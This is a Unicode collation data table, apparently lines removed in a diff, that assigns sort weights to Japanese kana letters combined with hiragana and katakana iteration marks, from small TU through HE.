-FF6F 30FD ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, KATAKANA ITERATION MARK>
-3063 309D ; [.3BD5.0020.000F.0001][.3BD5.0020.0010.0002] # <HIRAGANA LETTER SMALL TU, HIRAGANA ITERATION MARK>
-30C3 30FE ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL TU, KATAKANA VOICED ITERATION MARK>
-FF6F 30FE ; [.3BD5.0020.000F.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER SMALL TU, KATAKANA VOICED ITERATION MARK>
-3063 309E ; [.3BD5.0020.000F.0001][.3BD5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL TU, HIRAGANA VOICED ITERATION MARK>
-30C4 30FD ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002] # <KATAKANA LETTER TU, KATAKANA ITERATION MARK>
-FF82 30FD ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TU, KATAKANA ITERATION MARK>
-3064 309D ; [.3BD5.0020.0011.0001][.3BD5.0020.0010.0002] # <HIRAGANA LETTER TU, HIRAGANA ITERATION MARK>
-30C4 30FE ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TU, KATAKANA VOICED ITERATION MARK>
-FF82 30FE ; [.3BD5.0020.0011.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TU, KATAKANA VOICED ITERATION MARK>
-3064 309E ; [.3BD5.0020.0011.0001][.3BD5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TU, HIRAGANA VOICED ITERATION MARK>
-30C5 30FD ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002] # <KATAKANA LETTER DU, KATAKANA ITERATION MARK>
-30C4 3099 30FD ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002] # <KATAKANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF82 FF9E 30FD ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3065 309D ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002] # <HIRAGANA LETTER DU, HIRAGANA ITERATION MARK>
-3064 3099 309D ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002] # <HIRAGANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30C5 30FE ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DU, KATAKANA VOICED ITERATION MARK>
-30C4 3099 30FE ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF82 FF9E 30FE ; [.3BD5.0020.0011.0002][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3065 309E ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DU, HIRAGANA VOICED ITERATION MARK>
-3064 3099 309E ; [.3BD5.0020.0011.0001][.0000.0037.0002][.3BD5.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30C6 30FD ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002] # <KATAKANA LETTER TE, KATAKANA ITERATION MARK>
-FF83 30FD ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TE, KATAKANA ITERATION MARK>
-3066 309D ; [.3BD6.0020.0011.0001][.3BD6.0020.0010.0002] # <HIRAGANA LETTER TE, HIRAGANA ITERATION MARK>
-30C6 30FE ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TE, KATAKANA VOICED ITERATION MARK>
-FF83 30FE ; [.3BD6.0020.0011.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TE, KATAKANA VOICED ITERATION MARK>
-3066 309E ; [.3BD6.0020.0011.0001][.3BD6.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TE, HIRAGANA VOICED ITERATION MARK>
-30C7 30FD ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002] # <KATAKANA LETTER DE, KATAKANA ITERATION MARK>
-30C6 3099 30FD ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002] # <KATAKANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF83 FF9E 30FD ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3067 309D ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002] # <HIRAGANA LETTER DE, HIRAGANA ITERATION MARK>
-3066 3099 309D ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002] # <HIRAGANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30C7 30FE ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DE, KATAKANA VOICED ITERATION MARK>
-30C6 3099 30FE ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF83 FF9E 30FE ; [.3BD6.0020.0011.0002][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3067 309E ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DE, HIRAGANA VOICED ITERATION MARK>
-3066 3099 309E ; [.3BD6.0020.0011.0001][.0000.0037.0002][.3BD6.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30C8 30FD ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002] # <KATAKANA LETTER TO, KATAKANA ITERATION MARK>
-FF84 30FD ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TO, KATAKANA ITERATION MARK>
-3068 309D ; [.3BD7.0020.0011.0001][.3BD7.0020.0010.0002] # <HIRAGANA LETTER TO, HIRAGANA ITERATION MARK>
-30C8 30FE ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TO, KATAKANA VOICED ITERATION MARK>
-FF84 30FE ; [.3BD7.0020.0011.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TO, KATAKANA VOICED ITERATION MARK>
-3068 309E ; [.3BD7.0020.0011.0001][.3BD7.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TO, HIRAGANA VOICED ITERATION MARK>
-30C9 30FD ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002] # <KATAKANA LETTER DO, KATAKANA ITERATION MARK>
-30C8 3099 30FD ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002] # <KATAKANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF84 FF9E 30FD ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3069 309D ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002] # <HIRAGANA LETTER DO, HIRAGANA ITERATION MARK>
-3068 3099 309D ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002] # <HIRAGANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30C9 30FE ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER DO, KATAKANA VOICED ITERATION MARK>
-30C8 3099 30FE ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF84 FF9E 30FE ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER TO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3069 309E ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER DO, HIRAGANA VOICED ITERATION MARK>
-3068 3099 309E ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BD7.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER TO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30CA 30FD ; [.3BD8.0020.0011.0002][.3BD8.0020.0010.0002] # <KATAKANA LETTER NA, KATAKANA ITERATION MARK>
-FF85 30FD ; [.3BD8.0020.0011.0002][.3BD8.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NA, KATAKANA ITERATION MARK>
-306A 309D ; [.3BD8.0020.0011.0001][.3BD8.0020.0010.0002] # <HIRAGANA LETTER NA, HIRAGANA ITERATION MARK>
-30CB 30FD ; [.3BD9.0020.0011.0002][.3BD9.0020.0010.0002] # <KATAKANA LETTER NI, KATAKANA ITERATION MARK>
-FF86 30FD ; [.3BD9.0020.0011.0002][.3BD9.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NI, KATAKANA ITERATION MARK>
-306B 309D ; [.3BD9.0020.0011.0001][.3BD9.0020.0010.0002] # <HIRAGANA LETTER NI, HIRAGANA ITERATION MARK>
-30CC 30FD ; [.3BDA.0020.0011.0002][.3BDA.0020.0010.0002] # <KATAKANA LETTER NU, KATAKANA ITERATION MARK>
-FF87 30FD ; [.3BDA.0020.0011.0002][.3BDA.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NU, KATAKANA ITERATION MARK>
-306C 309D ; [.3BDA.0020.0011.0001][.3BDA.0020.0010.0002] # <HIRAGANA LETTER NU, HIRAGANA ITERATION MARK>
-30CD 30FD ; [.3BDB.0020.0011.0002][.3BDB.0020.0010.0002] # <KATAKANA LETTER NE, KATAKANA ITERATION MARK>
-FF88 30FD ; [.3BDB.0020.0011.0002][.3BDB.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NE, KATAKANA ITERATION MARK>
-306D 309D ; [.3BDB.0020.0011.0001][.3BDB.0020.0010.0002] # <HIRAGANA LETTER NE, HIRAGANA ITERATION MARK>
-30CE 30FD ; [.3BDC.0020.0011.0002][.3BDC.0020.0010.0002] # <KATAKANA LETTER NO, KATAKANA ITERATION MARK>
-FF89 30FD ; [.3BDC.0020.0011.0002][.3BDC.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER NO, KATAKANA ITERATION MARK>
-306E 309D ; [.3BDC.0020.0011.0001][.3BDC.0020.0010.0002] # <HIRAGANA LETTER NO, HIRAGANA ITERATION MARK>
-30CF 30FD ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002] # <KATAKANA LETTER HA, KATAKANA ITERATION MARK>
-FF8A 30FD ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HA, KATAKANA ITERATION MARK>
-306F 309D ; [.3BDD.0020.0011.0001][.3BDD.0020.0010.0002] # <HIRAGANA LETTER HA, HIRAGANA ITERATION MARK>
-30CF 30FE ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HA, KATAKANA VOICED ITERATION MARK>
-FF8A 30FE ; [.3BDD.0020.0011.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HA, KATAKANA VOICED ITERATION MARK>
-306F 309E ; [.3BDD.0020.0011.0001][.3BDD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HA, HIRAGANA VOICED ITERATION MARK>
-30D0 30FD ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002] # <KATAKANA LETTER BA, KATAKANA ITERATION MARK>
-30CF 3099 30FD ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8A FF9E 30FD ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3070 309D ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002] # <HIRAGANA LETTER BA, HIRAGANA ITERATION MARK>
-306F 3099 309D ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30D0 30FE ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BA, KATAKANA VOICED ITERATION MARK>
-30CF 3099 30FE ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8A FF9E 30FE ; [.3BDD.0020.0011.0002][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3070 309E ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BA, HIRAGANA VOICED ITERATION MARK>
-306F 3099 309E ; [.3BDD.0020.0011.0001][.0000.0037.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30D1 30FD ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002] # <KATAKANA LETTER PA, KATAKANA ITERATION MARK>
-30CF 309A 30FD ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8A FF9F 30FD ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3071 309D ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002] # <HIRAGANA LETTER PA, HIRAGANA ITERATION MARK>
-306F 309A 309D ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30D1 30FE ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PA, KATAKANA VOICED ITERATION MARK>
-30CF 309A 30FE ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8A FF9F 30FE ; [.3BDD.0020.0011.0002][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3071 309E ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PA, HIRAGANA VOICED ITERATION MARK>
-306F 309A 309E ; [.3BDD.0020.0011.0001][.0000.0038.0002][.3BDD.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30D2 30FD ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002] # <KATAKANA LETTER HI, KATAKANA ITERATION MARK>
-FF8B 30FD ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HI, KATAKANA ITERATION MARK>
-3072 309D ; [.3BDE.0020.0011.0001][.3BDE.0020.0010.0002] # <HIRAGANA LETTER HI, HIRAGANA ITERATION MARK>
-30D2 30FE ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HI, KATAKANA VOICED ITERATION MARK>
-FF8B 30FE ; [.3BDE.0020.0011.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HI, KATAKANA VOICED ITERATION MARK>
-3072 309E ; [.3BDE.0020.0011.0001][.3BDE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HI, HIRAGANA VOICED ITERATION MARK>
-30D3 30FD ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002] # <KATAKANA LETTER BI, KATAKANA ITERATION MARK>
-30D2 3099 30FD ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8B FF9E 30FD ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3073 309D ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002] # <HIRAGANA LETTER BI, HIRAGANA ITERATION MARK>
-3072 3099 309D ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30D3 30FE ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BI, KATAKANA VOICED ITERATION MARK>
-30D2 3099 30FE ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8B FF9E 30FE ; [.3BDE.0020.0011.0002][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3073 309E ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BI, HIRAGANA VOICED ITERATION MARK>
-3072 3099 309E ; [.3BDE.0020.0011.0001][.0000.0037.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30D4 30FD ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002] # <KATAKANA LETTER PI, KATAKANA ITERATION MARK>
-30D2 309A 30FD ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8B FF9F 30FD ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3074 309D ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002] # <HIRAGANA LETTER PI, HIRAGANA ITERATION MARK>
-3072 309A 309D ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30D4 30FE ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PI, KATAKANA VOICED ITERATION MARK>
-30D2 309A 30FE ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8B FF9F 30FE ; [.3BDE.0020.0011.0002][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3074 309E ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PI, HIRAGANA VOICED ITERATION MARK>
-3072 309A 309E ; [.3BDE.0020.0011.0001][.0000.0038.0002][.3BDE.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30D5 30FD ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002] # <KATAKANA LETTER HU, KATAKANA ITERATION MARK>
-FF8C 30FD ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HU, KATAKANA ITERATION MARK>
-3075 309D ; [.3BDF.0020.0011.0001][.3BDF.0020.0010.0002] # <HIRAGANA LETTER HU, HIRAGANA ITERATION MARK>
-30D5 30FE ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HU, KATAKANA VOICED ITERATION MARK>
-FF8C 30FE ; [.3BDF.0020.0011.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HU, KATAKANA VOICED ITERATION MARK>
-3075 309E ; [.3BDF.0020.0011.0001][.3BDF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HU, HIRAGANA VOICED ITERATION MARK>
-30D6 30FD ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002] # <KATAKANA LETTER BU, KATAKANA ITERATION MARK>
-30D5 3099 30FD ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8C FF9E 30FD ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3076 309D ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002] # <HIRAGANA LETTER BU, HIRAGANA ITERATION MARK>
-3075 3099 309D ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30D6 30FE ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BU, KATAKANA VOICED ITERATION MARK>
-30D5 3099 30FE ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8C FF9E 30FE ; [.3BDF.0020.0011.0002][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3076 309E ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BU, HIRAGANA VOICED ITERATION MARK>
-3075 3099 309E ; [.3BDF.0020.0011.0001][.0000.0037.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30D7 30FD ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002] # <KATAKANA LETTER PU, KATAKANA ITERATION MARK>
-30D5 309A 30FD ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-FF8C FF9F 30FD ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
-3077 309D ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002] # <HIRAGANA LETTER PU, HIRAGANA ITERATION MARK>
-3075 309A 309D ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
-30D7 30FE ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PU, KATAKANA VOICED ITERATION MARK>
-30D5 309A 30FE ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-FF8C FF9F 30FE ; [.3BDF.0020.0011.0002][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
-3077 309E ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PU, HIRAGANA VOICED ITERATION MARK>
-3075 309A 309E ; [.3BDF.0020.0011.0001][.0000.0038.0002][.3BDF.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
-30D8 30FD ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002] # <KATAKANA LETTER HE, KATAKANA ITERATION MARK>
-FF8D 30FD ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HE, KATAKANA ITERATION MARK>
-3078 309D ; [.3BE0.0020.0011.0001][.3BE0.0020.0010.0002] # <HIRAGANA LETTER HE, HIRAGANA ITERATION MARK>
-30D8 30FE ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HE, KATAKANA VOICED ITERATION MARK>
-FF8D 30FE ; [.3BE0.0020.0011.0002][.3BE0.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HE, KATAKANA VOICED ITERATION MARK>
